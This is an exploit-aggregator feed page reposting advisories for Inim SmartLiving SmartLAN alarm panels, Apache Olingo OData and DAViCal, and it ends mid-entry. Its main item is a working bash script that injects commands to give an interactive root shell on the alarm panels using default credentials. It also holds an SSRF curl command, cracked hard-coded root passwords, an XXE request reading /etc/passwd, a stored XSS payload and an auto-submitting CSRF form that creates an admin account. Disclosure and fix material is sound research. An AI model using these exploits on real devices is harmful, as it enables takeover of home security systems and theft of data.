Quantcast
Channel: Exploit Collector
Viewing all 13315 articles
Browse latest View live

Inim Electronics SmartLiving SmartLAN/G/SI 6.x Remote Root

$
0
0

Inim Electronics SmartLiving SmartLAN/G/SI versions 6.x and below suffer from a remote root command execution vulnerability.


MD5 | fa5b04b87f4f1fdd3b909cfc78a8b51d

#!/bin/bash
#
#
# Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution
#
#
# Vendor: INIM Electronics s.r.l.
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Affected version: <=6.x
# Affected models: SmartLiving 505
# SmartLiving 515
# SmartLiving 1050, SmartLiving 1050/G3
# SmartLiving 10100L, SmartLiving10100L/G3
#
# Summary: SmartLiving anti-intrusion control panel and security system provides
# important features rarely found in residential, commercial or industrial application
# systems of its kind. This optimized-performance control panel provides first-rate
# features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
# end-to-end voice transmission (voice-on-bus), IP connectivity.
#
# SMARTLAN/SI:
# The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
# networking capability and fast connectivity to the Internet. Therefore, it is possible
# to set up a remote connection and program or control the system via the SmartLeague
# software application. In effect, the SmartLAN/SI board grants the same level of access
# to the system as a local RS232 connection.
#
# SMARTLAN/G:
# The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
# advanced remote-access and communication functions. The SmartLAN/G board is capable of
# sending event-related e-mails automatically. Each e-mail can be associated with a subject,
# an attachment and a text message. The attachment can be of any kind and is saved to an
# SD card. The message text can contain direct links to domains or IP addressable devices,
# such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
# global access to their control panels via any Internet browser accessed through a PC,
# PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
# distinguishing the means of connection and as a result provides an appropriate web-page
# for the tool in use. Smartphones can control the system in much the same way as a
# household keypad, from inside the house or from any part of the world.
#
# Desc: SmartLiving SmartLAN suffers from an authenticated remote command injection vulnerability.
# The issue exist due to the 'par' POST parameter not being sanitized when called with
# the 'testemail' module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit
# LSB executable, ARM) is calling the 'sh' executable via the system() function to issue
# a command using the mailx service and its vulnerable string format parameter allowing
# for OS command injection with root privileges. An attacker can remotely execute system
# commands as the root user using default credentials and bypass access controls in place.
#
# ================= dissassembly of vuln function =================
#
#[0x0000c86c]> pd @ 0x000c86c
#| ;-- pc:
#| ;-- r15:
#| 0x0000c86c ldr r1, str.testemail ; [0xed96:4]=0x74736574 ; "testemail" ; const char * s2
#| 0x0000c870 bl sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
#| 0x0000c874 cmp r0, 0
#| 0x0000c878 bne 0xc8b8
#| 0x0000c87c cmp sl, 0
#| 0x0000c880 beq 0xd148
#| 0x0000c884 bl sym.set_no_cache
#| 0x0000c888 add r5, sp, 0x20
#| 0x0000c88c mov r0, r4
#| 0x0000c890 ldr r1, str.application_json ; [0xeda0:4]=0x6c707061 ; "application/json"
#| 0x0000c894 bl sym.imp.qcgires_setcontenttype
#| 0x0000c898 mov r0, r5 ; char *s
#| 0x0000c89c mov r1, 0xc8 ; 200 ; size_t
#| 0x0000c8a0 ldr r2, str.echo__Hello_____mailx__s__Email_test___s ; [0xedb1:4]=0x6f686365 ; "echo \"Hello!\" | mailx -s \"Email test\" %s" ; con
#| 0x0000c8a4 mov r3, r8 ; ...
#| 0x0000c8a8 bl sym.imp.snprintf ; int snprintf(char *s,
#| 0x0000c8ac mov r0, r5 ; const char * string
#| 0x0000c8b0 bl sym.imp.system ; int system(const char *string)
#| 0x0000c8b4 b 0xd134
#|
#| system() @0x0000c8b0 arguments: "sh -c echo "Hello!" | mailx -s "Email test" %s"
#| Trigger suggest: $(curl -sik http://192.168.1.17/cgi-bin/web.cgi -X POST --data "mod=testemail&par=;/sbin/ifconfig" --cookie "user=admin;pass=pass;code=9999")
#| Process: 1351 root 0:00 sh -c echo "Hello!" | mailx -s "Emaiil test" ;/sbin/ifconfig
#|__
# =================================================================
#
# -----------------------------------------------------------------
#
# root@kali:~# ./xpl.sh https://192.168.1.17
#
# Checking target: https://192.168.1.17
# ACCESS GRANTED!
#
# root@ssl> id; uname -a; getconf LONG_BIT; cat ../version.html; pwd
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Linux SmartLAN 3.2.1 #195 PREEMPT Thu May 30 15:26:27 CEST 2013 armv5tejl GNU/Linux
# 32
# <!-- SLF6.07 10100 -->
# <html><body><h2>
# SmartLiving 6.07 10100
# <br><br>SmartLAN/G v. 6.11
# /www/cgi-bin
# root@ssl> exit
# root@kali:~/#
#
# -----------------------------------------------------------------
#
# Tested on: GNU/Linux 3.2.1 armv5tejl
# Boa/0.94.14rc21
# BusyBox v1.20.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2019-5544
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5544.php
#
#
# 06.09.2019
#

URL=$1
CGI="/cgi-bin/web.cgi"
COOK="user=admin;pass=pass;code=9999"
COOK1="user=admin;pass=pass;code=9998"
COOK2="user=user;pass=pass;code=0001"
PARAMS="mod=testemail&par=;"
CHECK=${URL:4:1}

if [ "$#" -ne 1 ]; then
echo -en "\e[34m"
echo "==============================================="
echo " SmartLiving SmartLAN 6.x Remote Root Exploit"
echo -e "\t\tZSL-2019-5544"
echo "==============================================="
echo -en "\e[00m"
echo -e "\nUsage: $0 http(s)://ip:port\n"
exit 0
fi

echo -ne "\nChecking target: $URL\n"

if [ "$CHECK" == "s" ]; then
TEST=$(curl -sIk $URL 2>/dev/null | head -1 | awk -F""'{print $2}')
if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
echo "HTTPS with error!"
exit 0
fi
if curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1>/dev/null
then
echo -e "ACCESS GRANTED!\n"
else
echo "Invalid credentials."
exit 0
fi
while true; do
R="$(tput sgr0)"
S="$(tput setaf 2)"
read -rp "${S}root@ssl>${R} " CMD
if [[ "$CMD" == "exit" ]]; then
exit 0
fi
curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5
done
else
TEST=$(curl -sI $URL 2>/dev/null | head -1 | awk -F""'{print $2}')
if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
echo "HTTP with error!"
exit 0
fi
if curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1>/dev/null
then
echo -e "ACCESS GRANTED!\n"
else
echo "Invalid credentials."
exit 0
fi
while true; do
R="$(tput sgr0)"
S="$(tput setaf 2)"
read -rp "${S}root@http>${R} " CMD
if [[ "$CMD" == "exit" ]]; then
exit 0
fi
curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5
done
fi


Inim Electronics Smartliving SmartLAN/G/SI 6.x SSRF

$
0
0

Inim Electronics Smartliving SmartLAN/G/SI versions 6.x and below suffer from an unauthenticated server-side request forgery vulnerability.


MD5 | f21751ca54479762c2e2bdb3358bab9d


Inim Electronics Smartliving SmartLAN/G/SI <=6.x Unauthenticated SSRF


Vendor: INIM Electronics s.r.l.
Product web page: https://www.inim.biz
Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
Affected version: <=6.x
Affected models: SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3

Summary: SmartLiving anti-intrusion control panel and security system provides
important features rarely found in residential, commercial or industrial application
systems of its kind. This optimized-performance control panel provides first-rate
features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
end-to-end voice transmission (voice-on-bus), IP connectivity.

SMARTLAN/SI:
The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
networking capability and fast connectivity to the Internet. Therefore, it is possible
to set up a remote connection and program or control the system via the SmartLeague
software application. In effect, the SmartLAN/SI board grants the same level of access
to the system as a local RS232 connection.

SMARTLAN/G:
The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
advanced remote-access and communication functions. The SmartLAN/G board is capable of
sending event-related e-mails automatically. Each e-mail can be associated with a subject,
an attachment and a text message. The attachment can be of any kind and is saved to an
SD card. The message text can contain direct links to domains or IP addressable devices,
such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
global access to their control panels via any Internet browser accessed through a PC,
PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
distinguishing the means of connection and as a result provides an appropriate web-page
for the tool in use. Smartphones can control the system in much the same way as a
household keypad, from inside the house or from any part of the world.

Desc: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the
SmartLiving SmartLAN within the GetImage functionality. The application parses user
supplied data in the GET parameter 'host' to construct an image request to the service
through onvif.cgi. Since no validation is carried out on the parameter, an attacker
can specify an external domain and force the application to make an HTTP request to
an arbitrary destination host. This can be used by an external attacker for example
to bypass firewalls and initiate a service and network enumeration on the internal
network through the affected application.

Tested on: GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2


Vulnerability discovered by Sipke Mellema
@zeroscience


Advisory ID: ZSL-2019-5545
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5545.php


06.09.2019

--


PoC:

curl http://192.168.1.17/cgi-bin/onvif.cgi -X POST -d"mod=GetImage&host=http://127.0.0.1:23&par=2"

Inim Electronics Smartliving SmartLAN/G/SI 6.x Hard-Coded Credentials

$
0
0

Inim Electronics Smartliving SmartLAN/G/SI versions 6.x and below suffer from a hard-coded credential vulnerability.


MD5 | 04f17bebbbf0986a1f927de3cebd3ef5


Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials


Vendor: INIM Electronics s.r.l.
Product web page: https://www.inim.biz
Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
Affected version: <=6.x
Affected models: SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3

Summary: SmartLiving anti-intrusion control panel and security system provides
important features rarely found in residential, commercial or industrial application
systems of its kind. This optimized-performance control panel provides first-rate
features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
end-to-end voice transmission (voice-on-bus), IP connectivity.

SMARTLAN/SI:
The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
networking capability and fast connectivity to the Internet. Therefore, it is possible
to set up a remote connection and program or control the system via the SmartLeague
software application. In effect, the SmartLAN/SI board grants the same level of access
to the system as a local RS232 connection.

SMARTLAN/G:
The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
advanced remote-access and communication functions. The SmartLAN/G board is capable of
sending event-related e-mails automatically. Each e-mail can be associated with a subject,
an attachment and a text message. The attachment can be of any kind and is saved to an
SD card. The message text can contain direct links to domains or IP addressable devices,
such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
global access to their control panels via any Internet browser accessed through a PC,
PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
distinguishing the means of connection and as a result provides an appropriate web-page
for the tool in use. Smartphones can control the system in much the same way as a
household keypad, from inside the house or from any part of the world.

Desc: The devices utilizes hard-coded credentials within its Linux distribution image.
These sets of credentials (Telnet, SSH, FTP) are never exposed to the end-user and cannot
be changed through any normal operation of the smart home device. Attacker could exploit
this vulnerability by logging in and gain system access.

Tested on: GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5546
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5546.php


06.09.2019

--


# cat /etc/passwd
root:$1$$uqbusDeGY2YWqg.T2S1100:0:0:administrator:/:/bin/sh
nobody:*:254:254:nobody:/var/empty:/bin/sh
logout:gfr8cijmRSDck:498:506:logout:/:

# john --show /etc/passwd
root:pass:0:0:administrator:/:/bin/sh
logout:logout:498:506:logout:/:

2 password hashes cracked, 0 left

Apache Olingo OData 4.6.x XML Injection

$
0
0

Apache Olingo OData versions 4.x.x through 4.6.x suffer from an XML external entity injection vulnerability.


MD5 | 051e029f16764feddeb7a0590f43de8e

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product: Apache Olingo OData 4.0
# Vendor: Apache Foundation
# CSNC ID: CSNC-2009-025
# CVE ID: CVE-2019-17554
# Subject: XML External Entity Resolution (XXE)
# Risk: High
# Effect: Remotely exploitable
# Author: Archibald Haddock (advisories@compass-security.com)
# Date: 08.11.2019
#
#############################################################

Introduction:
-------------
Apache Olingo is a Java library that implements the Open Data Protocol (OData). [1]
XML data is parsed by insecurley configured software components, which can be abused for XML External Entity Attacks [2].



Affected:
---------
Vulnerable:
* Olingo OData 4.x.x to 4.6.x

Not vulnerable:
* Olingo OData 4.7.0
* The Olingo OData 2.0 implementation has XXE protection since 1.1.0-RC01

Technical Description
---------------------
The XML content type entity deserializer is not configured to deny the resolution of external entities.
Request with content type "application/xml", which trigger the deserialization of entities, can be used to trigger XXE attacks.

Request
======
POST /odata-server-sample/cars.svc/Cars HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:8081/odata-server-sample/
Cookie: JSESSIONID=17C3158153CDC2CA1DBA0E77D4AFC3B0
Upgrade-Insecure-Requests: 1
content-type: application/xml
Content-Length: 1101

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<a:entry xmlns:a="http://www.w3.org/2005/Atom" xmlns:m="http://docs.oasis-open.org/odata/ns/metadata" xmlns:d="http://docs.oasis-open.org/odata/ns/data" m:context="$metadata#Cars/$entity">
<a:id>Cars(1)</a:id>
<a:title></a:title>
<a:summary></a:summary>
<a:updated>2019-11-08T15:10:30Z</a:updated>
<a:author>
<a:name></a:name>
</a:author>
<a:link rel="edit" href="Cars(1)"></a:link>
<a:link rel="http://docs.oasis-open.org/odata/ns/related/Manufacturer" type="application/atom+xml;type=feed" title="Manufacturer" href="Cars(1)/Manufacturer"></a:link>
<a:category scheme="http://docs.oasis-open.org/odata/ns/scheme" term="#olingo.odata.sample.Car"></a:category>
<a:content type="application/xml">
<m:properties>
<d:Id m:type="Int16">1</d:Id>
<d:Model>F1 &xxe;</d:Model>
<d:ModelYear>2012</d:ModelYear>
<d:Price m:type="Decimal">189189.43</d:Price>
<d:Currency>EUR</d:Currency>
</m:properties>
</a:content>
</a:entry>

Response
========
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
OData-Version: 4.0
Content-Type: application/xml
Content-Length: 960
Date: Fri, 08 Nov 2019 14:22:35 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?><a:entry xmlns:a="http://www.w3.org/2005/Atom" xmlns:m="http://docs.oasis-open.org/odata/ns/metadata" xmlns:d="http://docs.oasis-open.org/odata/ns/data" m:context="$metadata#Cars"><a:id>Cars(1)</a:id><a:title></a:title><a:summary></a:summary><a:updated>2019-11-08T15:22:35Z</a:updated><a:author><a:name></a:name></a:author><a:link rel="edit" href="Cars(1)"></a:link><a:link rel="http://docs.oasis-open.org/odata/ns/related/Manufacturer" type="application/atom+xml;type=feed" title="Manufacturer" href="Cars(1)/Manufacturer"></a:link><a:category scheme="http://docs.oasis-open.org/odata/ns/scheme" term="#olingo.odata.sample.Car"></a:category><a:content type="application/xml"><m:properties><d:Id m:type="Int16">1</d:Id><d:Model>
myuser:x:1000:1000:,,,:/home/myuser:/bin/bash
</d:Model><d:ModelYear>2012</d:ModelYear><d:Price m:type="Decimal">189189.43</d:Price><d:Currency>EUR</d:Currency></m:properties></a:content></a:entry>


Workaround / Fix:
-----------------
Configure the XML reader securely [3].

In org.apache.olingo.server.core.deserializer.xml.ODataXmlDeserializer.java on line 70 a javax.xml.stream.XMLInputFactory is instanciated:
private static final XMLInputFactory FACTORY = XMLInputFactory.newFactory();

The XMLInputFactory should be configured, not to resolve external entities:
FACTORY.setProperty(XMLInputFactory.SUPPORT_DTD, false);
FACTORY.setProperty("javax.xml.stream.isSupportingExternalEntities", false);


Timeline:
---------
2019-11-08: Discovery by Compass Security
2019-11-08: Initial vendor notification
2019-11-08: Initial vendor response
2019-12-04: Release of fixed Version / Patch [4]
2019-12-05: Coordinated public disclosure date


[1] https://olingo.apache.org/
[2] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
[3] https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
[4] https://mail-archives.apache.org/mod_mbox/olingo-user/201912.mbox/%3CCAGSZ4d7Ty%3DL-n_iAzT6vcQp65BY29XZDS5tMoM8MdDrb1moM7A%40mail.gmail.com%3E

Source: https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2019-025_apache_xxe.txt


TOR Virtual Network Tunneling Tool 0.4.2.5

$
0
0

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs).


MD5 | ea9e9078ff2e175332f0095c60284458


DAViCal CalDAV Server 1.1.8 Persistent Cross Site Scripting

$
0
0

DAViCal CalDAV Server versions 1.1.8 and below suffer from a persistent cross site scripting vulnerability.


MD5 | 168863215252aa9df18b7fb2768cce78

Original text at:
https://hackdefense.com/publications/cve-2019-18347-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9 immediately
to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 — Reflected Cross-Site Scripting
CVE-2019-18346 — Cross-Site Request Forgery
CVE-2019-18347 — (this advisory) Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18347
CVSS score: 9.9
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

The application does not validate user input like email addresses,
usernames and display names. In addition, the web application does not
encode these user input when echoing them to in the web pages. An attack
with a low privileged account can exploit these issues to execute a
Persistent Cross-site Scripting (XSS) attack.

POC URL: http://davical.host/admin.php?action=edit&t=principal&id=1

Place a XSS payload in the username or fullname field e.g.
<script>alert()</script>

Impact
======

An attacker can use XSS to send a malicious JavaScript to an
unsuspecting user. The end user’s browser has no way to know that the
script should not be trusted, and will execute the script. Because the
browser thinks the script came from a trusted source, the malicious
JavaScript can access session tokens (without the HttpOnly flag) or
other sensitive information retained by the browser and used with that
site in the context of the victim.

If the user is administrator, the attacker can for example change the
password of the user to take over the account and gain full access to
the application.

In this case, because the Javascript is stored in the database and
included in pages others can open, it can be used by one user to attack
other users on the same system.

Combined with a CSRF attack (see CVE-2019 – 18346) it is possible to
attack users from the outside as well, if an authenticated DAViCal user
visits the attacker’s web site.

Solution
========

Update to version 1.1.9.1

Technical solution details
==========================

XSS vulnerabilities are a problem with dynamically generated websites
that use user input. If user input is not correctly sanitized you could
very well end up with a user pushing some javascript to your frontend.

XSS isn’t a vulnerability that’s hard to grasp or circumvent but it’s
awfully easy to make a mistake like that. One thing you’ll hear over and
over again is never to trust user input. Always sanitize it when it
comes in and it’s best to still not trust it then. Characters like <, >
and " should never be rawly echoed to the frontend. The use cases for
echoing user input back to the frontend are endless. From a simple
"Greetings, $username" to editing personal user information with the
form having all the fields already filled in. So when someone has a
quote in their name, you shouldn’t echo the raw quote but &­quot;.

These days web frameworks handle a lot of sanitation for us. Laravel for
example uses simple brackets to echo variables to the user all these
variables are escaped first: {{ $username }}. Twig does something
similar by using a pipe like syntax: {{ $username | escape}}.

These days when developing your application you need to make sure you
sanitize everything you output to the user. But since DAViCal is an
established project it’s not doable to sift through the code to look for
functions that output text to the frontend. Another problem was that
DAViCal dynamically adds GET parameters to echoed urls. This is why I
chose to sanitize both incoming variables and their names. In the
DAViCal always.php I added a function that loops through the $_GET and
$_POST array recursively (as arrays can contain arrays and so forth) and
run the names and variables through htmlspecialchars() except for the
password field which of course should be able to have special characters
in them.

The reason you don’t do it this way in new applications is because now
if for some reason someone has another way of interacting with your
application (by API calls for example) you’d have to sanitize your input
on both sides. Moreover, APIs that pass JSON objects around for example,
don’t need to have script tags encoded as it means nothing to them and
JSON objects are encoded in a different way. In this case however,
DAViCal doesn’t have other entry points which you can use to insert data
in the database. So sanitizing all input once will suffice!

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/



DAViCal CalDAV Server 1.1.8 Cross Site Request Forgery

$
0
0

DAViCal CalDAV Server versions 1.1.8 and below suffer from a cross site request forgery vulnerability.


MD5 | 71241e8b0dd14c1b51e8708854a79e80

Original text at:
https://hackdefense.com/publications/cve-2019-18346-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9.1 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9.1
immediately to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 — Reflected Cross-Site Scripting
CVE-2019-18346 – (this advisory) Cross-Site Request Forgery
CVE-2019-18347 – Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18346
CVSS score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

The application has no protection against CSRF attacks. If an
authenticated user visits an attacker-controlled webpage (for example,
in another browser tab), the attacker can send arbitrary requests in the
name of the user to the application, including requests that result in a
state change.

For example, if an attacker includes the following HTML code on his/​her
site and an authenticated DAViCal administrator visits, a new
administrative account ​“hacker” (password also ​“hacker”) will
automatically be created in the background, giving the attacker full
access to the calendaring application:

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://davical.host/admin.php?action=edit&t=principal"
method="POST" enctype="multipart/form-data">
<input type="hidden" name="xxxxusername" value="hacker" />
<input type="hidden" name="newpass1" value="hacker" />
<input type="hidden" name="newpass2" value="hacker" />
<input type="hidden" name="fullname" value="hacker" />
<input type="hidden" name="email"
value="hacker@hacktheplanet.com" />
<input type="hidden" name="locale" value="" />
<input type="hidden" name="date_format_type" value="E" />
<input type="hidden" name="type_id" value="1" />
<input type="hidden" name="is_admin" value="off" />
<input type="hidden" name="is_admin" value="on" />
<input type="hidden" name="user_active" value="off" />
<input type="hidden" name="user_active" value="on" />
<input type="hidden"
name="default_privileges[fake_privilege_for_input]"
value="0" />
<input type="hidden" name="default_privileges[read]"
value="on" />
<input type="hidden"
name="default_privileges[write-properties]" value="on" />
<input type="hidden"
name="default_privileges[write-content]" value="on" />
<input type="hidden" name="default_privileges[unlock]"
value="on" />
<input type="hidden" name="default_privileges[read-acl]"
value="on" />
<input type="hidden"
name="default_privileges[read-current-user-privilege-set]"
value="on" />
<input type="hidden" name="default_privileges[bind]"
value="on" />
<input type="hidden" name="default_privileges[unbind]"
value="on" />
<input type="hidden"
name="default_privileges[write-acl]" value="on" />
<input type="hidden"
name="default_privileges[read-free-busy]" value="on" />
<input type="hidden"
name="default_privileges[schedule-deliver-invite]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-deliver-reply]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-query-freebusy]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-invite]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-reply]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-freebusy]"
value="on" />
<input type="hidden" name="_editor_action[editor_1]"
value="insert" />
<input type="hidden" name="submit" value="Create" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Impact
======

In a successful CSRF attack, the attacker can change the e‑mail address
and password on a victim’s account, which results in a full account
takeover. If the compromised user has a privileged (administrator) role
within the application, then the attacker is also able to add a new
administrator user.

Solution
========

Update to version 1.1.9.1


Technical solution details
==========================

The most robust way to defend against CSRF attacks is to include a CSRF
token within relevant requests. The idea is that you assign a unique
token to a user’s session, this token can be regenerated whenever but
this usually happens when a new session is created (e.g.when the user
logs out and logs back in). This token is then required to be sent along
with the rest of the data you want to submit. Prior to performing the
action the called route is supposed to perform(let’s say you want to
update your user information) the application will check if a CSRF token
is present and whether it’s the right one. Onab.comce those two checks
pass the application will continue executing.

So the first task was to write a library that would generate a CSRF
token and attach it to the session. That’s all pretty basic, the only
thing I had to take into account is that the current requirement for
DAViCal is PHP 5.6.0 and up so I had to keep backwards compatibility in
mind. The token is generated by a random number generator (which one is
decided by the current PHP version) and then assigned to the user. Once
that was done the only thing left is to make sure every information
altering request verifies the CSRF token.

The modern way most web frameworks will handle this is by using
middleware. Let’s say you map a route to a function in your code,you can
then put a CSRF middleware in the middle of that ​‘mapping’. So let’s
say you’ve got the following mapping:

‘/​user/​information/​update’> updateUserInformation();

You’d then tell your framework to use a CSRF middleware which would
change the flow to:

‘/​user/​information/​update’> checkCSRF(); > updateUserInformation();

DAViCal however is quite an old project (the copyright states 2006 as
starting year) and we don’t have the luxury of a framework handling
these things for us. The easiest solution is to find every place a
POSTrequest is made and manually verifying the token at those places.
But I was keen to find out if there was a more central place I could put
the CSRF verifying function. As every developer will know, getting to
know and understand someone else’s code can be quite a tough one. I
found myself using xdebugquite a lot to figure out the flow of the
application until something quite obvious became apparent. There is a
PHP file in the project called ​‘always.php’ which always runs. This
file can be used to launch a function on every page load. This is where
I added a function to check the CSRF token on POST requests (which are
used in DAViCal to alter information).

The final act was adding the CSRF tokens to all the forms in DAViCal
which could be easily found by searching for </form>. Which concluded
the fix for the CSRF vulnerability in DAViCal.

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/


DAViCal CalDAV Server 1.1.8 Reflective Cross Site Scripting

$
0
0

DAViCal CalDAV Server versions 1.1.8 and below suffer from a reflective cross site scripting vulnerability.


MD5 | 106d6376bfe42cd1d4a6aa71f7885eaa

Original text at:
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
